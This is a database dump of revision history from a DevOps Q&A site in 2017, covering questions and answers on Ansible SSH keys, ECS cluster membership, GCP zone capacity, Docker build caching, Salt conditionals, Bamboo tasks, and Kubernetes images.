  <row Id="6425" PostHistoryTypeId="2" PostId="2047" RevisionGUID="fa8063ec-f749-4514-894e-5eb0872b5ca9" CreationDate="2017-09-17T14:09:40.133" UserId="210" Text="&gt; Should I be using SSH agent forwarding (this way I can use my local&#xD;&#xA;&gt; SSH keys)&#xD;&#xA;&#xD;&#xA;Yes, that would be an option&#xD;&#xA;&#xD;&#xA;&gt; should I store private SSH key (encrypted, added to source control)&#xD;&#xA;&gt; within my ansible project and copy it using Ansible to my target node?&#xD;&#xA;&#xD;&#xA;no&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://serverfault.com/questions/823956/ansible-security-best-practices&#xD;&#xA;&#xD;&#xA;&gt; For servers, don't allow root access via ssh at all. Many audits scoff&#xD;&#xA;&gt; at this.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For ansible, let every admin use their own personal account on each&#xD;&#xA;&gt; target server, and let them sudo with passwords. This way no password&#xD;&#xA;&gt; is shared between two people. You can check who did what on each&#xD;&#xA;&gt; server. It's up to you if personal accounts allow login on password,&#xD;&#xA;&gt; ssh key only, or require both.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In summary, use an ssh key with password. Let every user use their own ssh keys. Never allow sudo access via ssh.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6426" PostHistoryTypeId="2" PostId="2048" RevisionGUID="2e7730b4-7959-47b9-8ab4-13705cee4ba6" CreationDate="2017-09-17T14:56:31.733" UserId="4023" Text="Assume I have two clusters `devcluster` and `qacluster` on [ECS][1]. &#xD;&#xA;How to remove an EC2 instance *(ecs-optimized amazon-linux)* from `qacluster`  and add to `devcluster`?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/ecs/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6427" PostHistoryTypeId="1" PostId="2048" RevisionGUID="2e7730b4-7959-47b9-8ab4-13705cee4ba6" CreationDate="2017-09-17T14:56:31.733" UserId="4023" Text="How to move EC2 instance to another ECS cluster" ContentLicense="CC BY-SA 3.0" />
  <row Id="6428" PostHistoryTypeId="3" PostId="2048" RevisionGUID="2e7730b4-7959-47b9-8ab4-13705cee4ba6" CreationDate="2017-09-17T14:56:31.733" UserId="4023" Text="&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6429" PostHistoryTypeId="2" PostId="2049" RevisionGUID="b3977e49-94ec-4784-b373-00f00ed2ff39" CreationDate="2017-09-17T19:44:13.170" UserId="210" Text="When a container cluster was created on GCP in the morning it took less than 10 minutes until it was created. Now, after more than half an hour the cluster is still not created. It turned out that the resources in a certain zone were insufficient. How to check whether there are enough resources in a GCP zone before creating for example a kubernetes cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6430" PostHistoryTypeId="1" PostId="2049" RevisionGUID="b3977e49-94ec-4784-b373-00f00ed2ff39" CreationDate="2017-09-17T19:44:13.170" UserId="210" Text="Is there an overview of current resource usage in a region of GCP?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6431" PostHistoryTypeId="3" PostId="2049" RevisionGUID="b3977e49-94ec-4784-b373-00f00ed2ff39" CreationDate="2017-09-17T19:44:13.170" UserId="210" Text="&lt;google-cloud-platform&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6432" PostHistoryTypeId="5" PostId="2049" RevisionGUID="ee3f81cc-6ed9-47c2-9ab1-7fe2ddd9cfb1" CreationDate="2017-09-17T19:51:02.773" UserId="210" Comment="added 179 characters in body" Text="When a container cluster was created on GCP in the morning it took less than 10 minutes until it was created. Now, after more than half an hour the cluster is still not created. It turned out that the resources in a certain zone were insufficient. How to check whether there are enough resources in a GCP zone before creating for example a kubernetes cluster?&#xD;&#xA;&#xD;&#xA;    Instance 'X' creation failed: The zone 'projects/Y/zones/Z' does not have enough resources&#xD;&#xA;    available to fulfill the request. Try a different zone, or try again later." ContentLicense="CC BY-SA 3.0" />
  <row Id="6433" PostHistoryTypeId="4" PostId="2049" RevisionGUID="ee3f81cc-6ed9-47c2-9ab1-7fe2ddd9cfb1" CreationDate="2017-09-17T19:51:02.773" UserId="210" Comment="added 179 characters in body" Text="Is there an overview of current resource usage in a GCP region?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6434" PostHistoryTypeId="5" PostId="2049" RevisionGUID="0757c267-8556-4fa0-8813-36507f1576e2" CreationDate="2017-09-17T20:03:27.003" UserId="210" Comment="added 96 characters in body" Text="When a container cluster was created on GCP in the morning it took less than 10 minutes until it was created. Now, after more than half an hour the cluster is still not created. It turned out that the resources in a certain zone were insufficient. How to check whether there are enough resources in a GCP zone before creating for example a kubernetes cluster?&#xD;&#xA;&#xD;&#xA;    Instance 'X' creation failed: The zone 'projects/Y/zones/Z' does not have enough resources&#xD;&#xA;    available to fulfill the request. Try a different zone, or try again later.&#xD;&#xA;&#xD;&#xA;After choosing another zone and deploying the cluster took less than 4 minutes to deploy it." ContentLicense="CC BY-SA 3.0" />
  <row Id="6438" PostHistoryTypeId="2" PostId="2051" RevisionGUID="3b93d269-52a2-490e-967d-d1ca99c50b31" CreationDate="2017-09-18T04:45:35.697" UserId="6" Text="The way a cluster becomes aware of the EC2 instances associated to it, is a configuration file used by the ECS agent. You can modify this file, located at `/etc/ecs/ecs.config`, and name a different cluster. Then restart the ECS agent. This will effectively &quot;move&quot; the EC2 instance to the other cluster.&#xD;&#xA;&#xD;&#xA;More information about `ecs.config` in the documentation - http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-config.html&#xD;&#xA;&#xD;&#xA;After the modification, it is possible to verify by sending an HTTP request to the ECS Agent metadata service and see the new cluster displayed. http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-update.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="6439" PostHistoryTypeId="2" PostId="2052" RevisionGUID="7629a98b-2163-4ffb-a0f8-95d1083b63d2" CreationDate="2017-09-18T05:00:36.677" UserId="4378" Text="You might use docker builder pattern. Briefly you need to create Dockerfile.build which adds `pom.xml` and run `mvn dependency:resolve`:&#xD;&#xA;&#xD;&#xA;    FROM maven:latest&#xD;&#xA;    ADD ./pom.xml /src/pom.xml&#xD;&#xA;    WORKDIR /src&#xD;&#xA;    RUN mvn dependency:resolve&#xD;&#xA;&#xD;&#xA;Rebuild that image every time prior build. Docker will use cached image if ./pom.xml has not changed. &#xD;&#xA;&#xD;&#xA;Docker 17.05 introduced 'multi-stage builds' feature which implements this pattern. More information is available here: https://docs.docker.com/engine/userguide/eng-image/multistage-build/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6440" PostHistoryTypeId="2" PostId="2053" RevisionGUID="56ce509c-0e82-45e8-b1f5-2e05987fdd04" CreationDate="2017-09-18T06:05:51.610" UserId="707" Text="After a chat with a colleague who collaborates with quite high-end projects on Microsoft stack (for example, ASP.Net + MS SQL Server). &#xD;&#xA;&#xD;&#xA;An interesting outcome was that although I believe that DevOps must be possible in the Microsoft world as well, my knowledge is too little so that I cannot give good examples how he could organize a CI/CD approach. Indeed in our community there are some hints about Team Foundation Server and PSBuildStack (?), but an [official source][1] does not reveal all that at a glance. The described hosted services make it even less transparent for a newcomer - is that a cloud build environment like CloudBees/BlueMix?&#xD;&#xA;&#xD;&#xA;So, my question is now: how could I describe an example of mature toolchain using established DevOps terms which are valid more or less independent from specific environment/tooling - or do we have to admit that this engineering terminology is not there yet?&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA; 1. Source code version control system&#xD;&#xA; 2. Build agents&#xD;&#xA; 3. Automation and packaging scheduling system&#xD;&#xA; 4. Package and configuration distribution system&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/de-de/vsts/build-release/overview" ContentLicense="CC BY-SA 3.0" />
  <row Id="6441" PostHistoryTypeId="1" PostId="2053" RevisionGUID="56ce509c-0e82-45e8-b1f5-2e05987fdd04" CreationDate="2017-09-18T06:05:51.610" UserId="707" Text="Exemplify CI/CD to a colleague from Microsoft world using product-neutral terms" ContentLicense="CC BY-SA 3.0" />
  <row Id="6442" PostHistoryTypeId="3" PostId="2053" RevisionGUID="56ce509c-0e82-45e8-b1f5-2e05987fdd04" CreationDate="2017-09-18T06:05:51.610" UserId="707" Text="&lt;terminology&gt;&lt;checklist&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6443" PostHistoryTypeId="2" PostId="2054" RevisionGUID="8a49f0b7-cf0a-4ae5-898a-21fd3f1880cf" CreationDate="2017-09-18T06:16:01.713" UserId="707" Text="AFAIK, typically Windows enterprise stack components are quite monolitic services, like Windows IIS and MS SQL Server. Still, there are &quot;Windows containers&quot;.&#xD;&#xA;&#xD;&#xA; - Are they indeed runnable in containers and this makes sense?&#xD;&#xA; - Are there other Windows native containerization scenarios?&#xD;&#xA; &#xD;&#xA;In [this example][1] Microsoft refers to a &quot;.NET-nanoserver&quot; image. The [base image][2] is there a &quot;.NET runtime&quot; - I consider this is something else than an OS base image.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/virtualization/windowscontainers/quick-start/quick-start-windows-server&#xD;&#xA;  [2]: https://hub.docker.com/r/microsoft/dotnet-samples/~/dockerfile/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6444" PostHistoryTypeId="1" PostId="2054" RevisionGUID="8a49f0b7-cf0a-4ae5-898a-21fd3f1880cf" CreationDate="2017-09-18T06:16:01.713" UserId="707" Text="Docker's value and scenarios in native Windows environment" ContentLicense="CC BY-SA 3.0" />
  <row Id="6445" PostHistoryTypeId="3" PostId="2054" RevisionGUID="8a49f0b7-cf0a-4ae5-898a-21fd3f1880cf" CreationDate="2017-09-18T06:16:01.713" UserId="707" Text="&lt;dotnet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6446" PostHistoryTypeId="5" PostId="2053" RevisionGUID="4ba7f94c-82d8-4075-b5d3-49a3365b7dc9" CreationDate="2017-09-18T06:16:45.757" UserId="707" Comment="added 25 characters in body" Text="After a chat with a colleague who collaborates with quite high-end projects on Microsoft stack (for example, ASP.Net + MS SQL Server). &#xD;&#xA;&#xD;&#xA;An interesting outcome was that although I believe that DevOps must be possible in the Microsoft world as well, my knowledge is too little so that I cannot give good examples how he could organize a CI/CD approach. Indeed in our community there are some hints about Team Foundation Server and PSBuildStack (?), but an [official source][1] does not reveal all that at a glance. The described hosted services make it even less transparent for a newcomer - is that a cloud build environment like CloudBees/BlueMix?&#xD;&#xA;&#xD;&#xA;So, my question is now: how could I describe an example of mature toolchain using established DevOps terms which are valid more or less independent from specific environment/tooling - or do we have to admit that this engineering terminology is not there yet?&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA; 1. Source code version control system&#xD;&#xA; 2. Build agents&#xD;&#xA; 3. Automation and packaging scheduling system&#xD;&#xA; 4. A binary repository&#xD;&#xA; 5. Package and configuration distribution system&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/de-de/vsts/build-release/overview" ContentLicense="CC BY-SA 3.0" />
  <row Id="6447" PostHistoryTypeId="5" PostId="2047" RevisionGUID="f646c61e-cc94-46a8-86bd-5d93308448fc" CreationDate="2017-09-18T06:20:59.393" UserId="210" Comment="edited body" Text="&gt; Should I be using SSH agent forwarding (this way I can use my local&#xD;&#xA;&gt; SSH keys)&#xD;&#xA;&#xD;&#xA;Yes, that could be an option&#xD;&#xA;&#xD;&#xA;&gt; should I store private SSH key (encrypted, added to source control)&#xD;&#xA;&gt; within my ansible project and copy it using Ansible to my target node?&#xD;&#xA;&#xD;&#xA;no&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;https://serverfault.com/questions/823956/ansible-security-best-practices&#xD;&#xA;&#xD;&#xA;&gt; For servers, don't allow root access via ssh at all. Many audits scoff&#xD;&#xA;&gt; at this.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For ansible, let every admin use their own personal account on each&#xD;&#xA;&gt; target server, and let them sudo with passwords. This way no password&#xD;&#xA;&gt; is shared between two people. You can check who did what on each&#xD;&#xA;&gt; server. It's up to you if personal accounts allow login on password,&#xD;&#xA;&gt; ssh key only, or require both.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In summary, use an ssh key with password. Let every user use their own ssh keys. Never allow sudo access via ssh.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6448" PostHistoryTypeId="5" PostId="2049" RevisionGUID="3b38e8e2-6bc2-4619-8f6c-824e9c0dbad6" CreationDate="2017-09-18T06:21:36.050" UserId="210" Comment="added 5 characters in body" Text="When a container cluster was created on GCP in the morning it took less than 10 minutes until it was created. Now, after more than half an hour the cluster is still not created. It turned out that the resources in a certain zone were insufficient. How to check whether there are enough resources in a GCP zone before creating for example a kubernetes cluster?&#xD;&#xA;&#xD;&#xA;    Instance 'X' creation failed: The zone 'projects/Y/zones/Z' does not have&#xD;&#xA;    enough resources available to fulfill the request. Try a different zone,&#xD;&#xA;    or try again later.&#xD;&#xA;&#xD;&#xA;After choosing another zone and deploying the cluster took less than 4 minutes to deploy it." ContentLicense="CC BY-SA 3.0" />
  <row Id="6449" PostHistoryTypeId="5" PostId="2051" RevisionGUID="02b88e36-8417-4ad2-9e90-7d0f234b87fc" CreationDate="2017-09-18T07:05:36.837" UserId="6" Comment="add information about registering and deregistering instances in the cluster" Text="The way a cluster becomes aware of the EC2 instances associated to it, is a configuration file used by the ECS agent. You can modify this file, located at `/etc/ecs/ecs.config`, and name a different cluster. Then restart the ECS agent. This will effectively &quot;move&quot; the EC2 instance to the other cluster.&#xD;&#xA;&#xD;&#xA;More information about `ecs.config` in the documentation - http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-config.html&#xD;&#xA;&#xD;&#xA;After the modification, it is possible to verify by sending an HTTP request to the ECS Agent metadata service and see the new cluster displayed. http://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-agent-update.html&#xD;&#xA;&#xD;&#xA;The ECS cluster itself also needs to be notified. Can use the Register/Deregister API calls for this, for example using the AWS CLI:&#xD;&#xA;&#xD;&#xA; * http://docs.aws.amazon.com/cli/latest/reference/ecs/register-container-instance.html&#xD;&#xA; * http://docs.aws.amazon.com/cli/latest/reference/ecs/deregister-container-instance.html&#xD;&#xA;&#xD;&#xA;More housekeeping might be required on the ECS agent itself. Like removing cached checkpoint files, etc. https://github.com/aws/amazon-ecs-agent/issues/139#issuecomment-123061463" ContentLicense="CC BY-SA 3.0" />
  <row Id="6450" PostHistoryTypeId="5" PostId="1445" RevisionGUID="ca597e4e-2695-4209-9878-c3b1e26bea16" CreationDate="2017-09-18T08:40:52.643" UserId="707" Comment="added 4 characters in body; edited tags" Text="Maybe the whole setup is wrong but imagine your task is to model a system, or set of systems using Docker, where exact system configuraton can be tricky.&#xD;&#xA;&#xD;&#xA;The workflow resulting from it seems like series of making small changes, waiting to analysing logs, changes, waiting... It seems like during an hour of work you could manage several iterations, but waiting is mind-boggling, though it already takes place on top of base images and inside-container work is done as well to try out things. Additionally, often this work can block many others.&#xD;&#xA;&#xD;&#xA;**Question**: how to speed up this process? Do you guys use powerful appliances to reduce the cycle periods which is in term of lean manufacturing a clear *waste* given cost of systems compared to human time (**imagine any change would be landing in the target environment always in just one second**)? Or is the workflow wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6451" PostHistoryTypeId="6" PostId="1445" RevisionGUID="ca597e4e-2695-4209-9878-c3b1e26bea16" CreationDate="2017-09-18T08:40:52.643" UserId="707" Comment="added 4 characters in body; edited tags" Text="&lt;systems&gt;&lt;workflow&gt;&lt;checklist&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6452" PostHistoryTypeId="2" PostId="2055" RevisionGUID="ce40cb21-1dd7-4372-9c83-d44fd11a5b7a" CreationDate="2017-09-18T08:48:21.100" UserId="707" Text="Indeed that there can be a compound set of measures to reduce build times.&#xD;&#xA;&#xD;&#xA;For example:&#xD;&#xA;&#xD;&#xA; - Consider using RAM volumes for builds to reduce filesystem I/O latency&#xD;&#xA; - Consider [defining more build targets (Vakilian et al. 2015)][1] and if possible build them in parallel with more hardware build agents&#xD;&#xA; - Consider parallel execution if supported by software build agent e.g. Maven multi-thread mode however it might be not thread safe and corrupt builds in an unexpected way&#xD;&#xA; - As suggested above, evaluate which part of environment can be reused as Docker base image i.e. save time for unneeded repeated tasks (however on long term you still need complete rebuilds to validate integrity of external dependencies)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://dl.acm.org/citation.cfm?id=2818772" ContentLicense="CC BY-SA 3.0" />
  <row Id="6453" PostHistoryTypeId="6" PostId="1943" RevisionGUID="0c5203f9-a8c9-4ea4-980e-1a329f777e7b" CreationDate="2017-09-18T08:50:44.843" UserId="707" Comment="edited tags" Text="&lt;docker&gt;&lt;security&gt;&lt;checklist&gt;&lt;devsecops&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6454" PostHistoryTypeId="2" PostId="2056" RevisionGUID="85d0c532-c427-455f-b27f-a26e33a7ffe4" CreationDate="2017-09-18T09:16:16.883" UserId="4382" Text="Is it possible to do blue-green deployment when your software is mostly a set of PL/SQL packages?&#xD;&#xA;&#xD;&#xA;I don't really want to duplicate the database, the financial risks in case of any desyncs are too big. I understand that step 1 is to decouple schema changes from package changes, but how to proceed further?&#xD;&#xA;&#xD;&#xA;Is splitting packages into a separate DB that I can spawn multiple copies of the only option?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6455" PostHistoryTypeId="1" PostId="2056" RevisionGUID="85d0c532-c427-455f-b27f-a26e33a7ffe4" CreationDate="2017-09-18T09:16:16.883" UserId="4382" Text="How to do blue-green deployment with PL/SQL code?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6456" PostHistoryTypeId="3" PostId="2056" RevisionGUID="85d0c532-c427-455f-b27f-a26e33a7ffe4" CreationDate="2017-09-18T09:16:16.883" UserId="4382" Text="&lt;deployment&gt;&lt;databases&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6460" PostHistoryTypeId="2" PostId="2058" RevisionGUID="ffc21234-553c-4fb1-827e-4629aadd3ca5" CreationDate="2017-09-18T09:48:13.937" UserId="3055" Text="I have a Salt state which checks multiple files exist on our webservers, we have 4 webservers and 2 environments so a combined total of 8. This state is applied to all by using a grain 'webserver'.&#xD;&#xA;&#xD;&#xA;As the webservers are different (same underlying back end, different directory/file names) I have implemented an if statement which makes use of the inbuilt grains functionality 'host'.&#xD;&#xA;&#xD;&#xA;    {% if grains['host'] == 'dev-server1', 'test-server1' %}&#xD;&#xA;&#xD;&#xA;    dart-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/example1/index.html&#xD;&#xA;&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;When applying my state to all 'webserver' minions, this worked as expected. It checked for the above file on the target minions (BCA-AJT-TC-03/BCA-AJU-TC-03) and ignored the others. However I have since added another if statement below this for BCA-AJT-TC-04/BCA-AJU-TC-04:&#xD;&#xA;&#xD;&#xA;    {% if grains['host'] == 'dev-server2', 'test-server2' %}&#xD;&#xA;&#xD;&#xA;    tees-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/example2/index.html&#xD;&#xA;&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;Now whenever I run the state against the minions it fails as it attempts to check whether both of the above files exist across all minions (which of course won't exist). &#xD;&#xA;&#xD;&#xA;So, is it possible to use multiple if statements in a state? Alternatively is there another method in which I could achieve the same goal? I would like to identify multiple files with a specific directory/file name in each type of webserver." ContentLicense="CC BY-SA 3.0" />
  <row Id="6461" PostHistoryTypeId="1" PostId="2058" RevisionGUID="ffc21234-553c-4fb1-827e-4629aadd3ca5" CreationDate="2017-09-18T09:48:13.937" UserId="3055" Text="Is it possible to use multiple if statements in a salt state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6462" PostHistoryTypeId="3" PostId="2058" RevisionGUID="ffc21234-553c-4fb1-827e-4629aadd3ca5" CreationDate="2017-09-18T09:48:13.937" UserId="3055" Text="&lt;salt&gt;&lt;jinja&gt;&lt;yaml&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6463" PostHistoryTypeId="5" PostId="2058" RevisionGUID="0d4e60d2-b6c7-45f2-a457-f17d200ed52f" CreationDate="2017-09-18T09:57:55.603" UserId="3055" Comment="deleted 6 characters in body" Text="I have a Salt state which checks multiple files exist on our webservers, we have 4 webservers and 2 environments so a combined total of 8. This state is applied to all by using a grain 'webserver'.&#xD;&#xA;&#xD;&#xA;As the webservers are different (same underlying back end, different directory/file names) I have implemented an if statement which makes use of the inbuilt grains functionality 'host'.&#xD;&#xA;&#xD;&#xA;    {% if grains['host'] == 'dev-server1', 'test-server1' %}&#xD;&#xA;&#xD;&#xA;    dart-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/example1/index.html&#xD;&#xA;&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;When applying my state to all 'webserver' minions, this worked as expected. It checked for the above file on the target minions (dev-server1/test-server1) and ignored the others. However I have since added another if statement below this for dev-server2/test-server2:&#xD;&#xA;&#xD;&#xA;    {% if grains['host'] == 'dev-server2', 'test-server2' %}&#xD;&#xA;&#xD;&#xA;    tees-index.html:&#xD;&#xA;      file.exists:&#xD;&#xA;        - name: /opt/tomcat/webapps/example2/index.html&#xD;&#xA;&#xD;&#xA;    {% endif %}&#xD;&#xA;&#xD;&#xA;Now whenever I run the state against the minions it fails as it attempts to check whether both of the above files exist across all minions (which of course won't exist). &#xD;&#xA;&#xD;&#xA;So, is it possible to use multiple if statements in a state? Alternatively is there another method in which I could achieve the same goal? I would like to identify multiple files with a specific directory/file name in each type of webserver." ContentLicense="CC BY-SA 3.0" />
  <row Id="6464" PostHistoryTypeId="2" PostId="2059" RevisionGUID="a683bbfa-2001-4c7c-a7bc-9f9360db7e17" CreationDate="2017-09-18T11:00:50.370" UserId="707" Text="For example, by branch name you might want execute different tasks (regress testing in release branches instead of massive integration tests for example)" ContentLicense="CC BY-SA 3.0" />
  <row Id="6465" PostHistoryTypeId="1" PostId="2059" RevisionGUID="a683bbfa-2001-4c7c-a7bc-9f9360db7e17" CreationDate="2017-09-18T11:00:50.370" UserId="707" Text="Is it possible to design condionally executed tasks in Bamboo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6466" PostHistoryTypeId="3" PostId="2059" RevisionGUID="a683bbfa-2001-4c7c-a7bc-9f9360db7e17" CreationDate="2017-09-18T11:00:50.370" UserId="707" Text="&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6467" PostHistoryTypeId="4" PostId="2059" RevisionGUID="6fd5498c-759f-422b-b3f3-e5193cb72343" CreationDate="2017-09-18T11:22:05.763" UserId="707" Comment="edited title" Text="Is it possible to design conditionally executed tasks in Bamboo?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6468" PostHistoryTypeId="5" PostId="2059" RevisionGUID="6fd5498c-759f-422b-b3f3-e5193cb72343" CreationDate="2017-09-18T11:22:05.763" UserId="707" Comment="edited title" Text="For example, by branch name you might want to execute different tasks (regress testing in release branches instead of massive integration tests for example).&#xD;&#xA;&#xD;&#xA;IS there a mechanism to do that in Bamboo's UI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6469" PostHistoryTypeId="2" PostId="2060" RevisionGUID="ae17f4a6-c629-4054-88bb-c621d7a2d751" CreationDate="2017-09-18T11:51:59.530" UserId="4369" Text="You can have more than if statement per state. The issue is that your conditional doesn't seem actually be checking the hostname, it's just passing everything. Try this:&#xD;&#xA;&#xD;&#xA;    {% if grains['host'] in ['dev-server2', 'test-server2'] %}" ContentLicense="CC BY-SA 3.0" />
  <row Id="6470" PostHistoryTypeId="5" PostId="2053" RevisionGUID="4f109bc5-ec43-41c6-9dce-a96670239a8e" CreationDate="2017-09-18T12:08:08.290" UserId="707" Comment="added 203 characters in body" Text="After a chat with a colleague who collaborates with quite high-end projects on Microsoft stack (for example, ASP.Net + MS SQL Server). &#xD;&#xA;&#xD;&#xA;An interesting outcome was that although I believe that DevOps must be possible in the Microsoft world as well, my knowledge is too little so that I cannot give good examples how he could organize a CI/CD approach. Indeed in our community there are some hints about Team Foundation Server and PSBuildStack (?), but an [official source][1] does not reveal all that at a glance. The described hosted services make it even less transparent for a newcomer - is that a cloud build environment like CloudBees/BlueMix?&#xD;&#xA;&#xD;&#xA;So, my question is now: how could I describe an example of mature toolchain using established DevOps terms which are valid more or less independent from specific environment/tooling - or do we have to admit that this engineering terminology is not there yet?&#xD;&#xA;&#xD;&#xA;Something like this:&#xD;&#xA;&#xD;&#xA; 1. Source code version control system&#xD;&#xA; 2. Build agents&#xD;&#xA; 3. Automation and packaging scheduling system to encapsulate artefact composition logic&#xD;&#xA; 4. A binary repository (different classes of binaries: libraries, distros, container images)&#xD;&#xA; 5. A configuration repository for different environments&#xD;&#xA; 5. Package and configuration distribution system to encapsulate deployment logic&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/de-de/vsts/build-release/overview" ContentLicense="CC BY-SA 3.0" />
  <row Id="6471" PostHistoryTypeId="5" PostId="2013" RevisionGUID="e9337823-7f8c-4538-b7c0-0a1d4fea8585" CreationDate="2017-09-18T13:00:26.157" UserId="4343" Comment="edited body" Text="I have designed different part of social networking system using micro service and I have reached to the message part of the system. Messages can be private messages (maybe a separate module), the posts on the wall for each user which can be images, text, video (again maybe another module) and reply messages which is again can be a different module.&#xD;&#xA;&#xD;&#xA;Now my problem here is that should I design separate modules (service) for each kind of message. Should I consider load of messages as part of this concept of separating modules?&#xD;&#xA;&#xD;&#xA;From one view they are all messages that users use to interact with other users in the system.&#xD;&#xA;&#xD;&#xA;How should I design micro service for the message part of this social network?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**EDIT-1:**&#xD;&#xA;Micro-service modules of my project for now:&#xD;&#xA;&#xD;&#xA; - user&#xD;&#xA; - authenticator&#xD;&#xA; - notifications (email, push, etc)&#xD;&#xA;&#xD;&#xA;Now my social network project has 3 parts for messages:&#xD;&#xA;&#xD;&#xA; - users' posts&#xD;&#xA; - users' private messages&#xD;&#xA; - users' replies to other messages&#xD;&#xA;&#xD;&#xA;These 3 categories can be 1 module that can manage all these logics. Or 3 different modules `user posts`, `user private messages`, `user replies`. &#xD;&#xA;&#xD;&#xA;The question is how should I separate them? **One of** my concerns is that each category would get more logic and it will lead to a bloated module.&#xD;&#xA;&#xD;&#xA;**My Final Question:** Is it just the role of micro service that separate a module from another or should I take complexity of module into account for the separation?&#xD;&#xA;&#xD;&#xA;**NB:** By messaging I don't mean micro-service module's inter communication, but user's messages in the ecosystem.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6472" PostHistoryTypeId="2" PostId="2061" RevisionGUID="9b26cc45-5bcc-4819-bd6d-422dccefcec7" CreationDate="2017-09-18T13:43:02.507" UserId="707" Text="Reading the [K8S images article][1], I see there support for images from Azure, Google Cloud Registry and Amazon EC. &#xD;&#xA;&#xD;&#xA; - But, why is there no support for Docker Hub?&#xD;&#xA; - Is there any sane way to process/deploy Dockerfiles/Docker images in K8S ecosystem?&#xD;&#xA;&#xD;&#xA;Side note. My overall impression is that Docker is very nice to adapt in development teams because of its easiness, but in terms of high-end scalability K8S is more powerful. So is this again a new gap between Dev and Ops?..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/containers/images/" ContentLicense="CC BY-SA 3.0" />
  <row Id="6473" PostHistoryTypeId="1" PostId="2061" RevisionGUID="9b26cc45-5bcc-4819-bd6d-422dccefcec7" CreationDate="2017-09-18T13:43:02.507" UserId="707" Text="Kubernetes image concept compared to Docker?" ContentLicense="CC BY-SA 3.0" />
  <row Id="6474" PostHistoryTypeId="3" PostId="2061" RevisionGUID="9b26cc45-5bcc-4819-bd6d-422dccefcec7" CreationDate="2017-09-18T13:43:02.507" UserId="707" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="6475" PostHistoryTypeId="5" PostId="2061" RevisionGUID="05eecc24-c9df-4082-ab19-63e69641c3fd" CreationDate="2017-09-18T14:04:03.107" UserId="707" Comment="added 146 characters in body" Text="Reading the [K8S images article][1], I see there support for images from Azure, Google Cloud Registry and Amazon EC. &#xD;&#xA;&#xD;&#xA; - But, why is there no support for Docker Hub?&#xD;&#xA; - Is there any sane way to process/deploy Dockerfiles/Docker images in K8S ecosystem?&#xD;&#xA;&#xD;&#xA;Given you can run K8S containers from your Docker images - are there any backdrawals? and if yes, what is the &quot;Dockerfile&quot; in the K8S world?&#xD;&#xA;&#xD;&#xA;Side note. My overall impression is that Docker is very nice to adapt in development teams because of its easiness, but in terms of high-end scalability K8S is more powerful. So is this again a new gap between Dev and Ops?..&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/containers/images/" ContentLicense="CC BY-SA 3.0" />
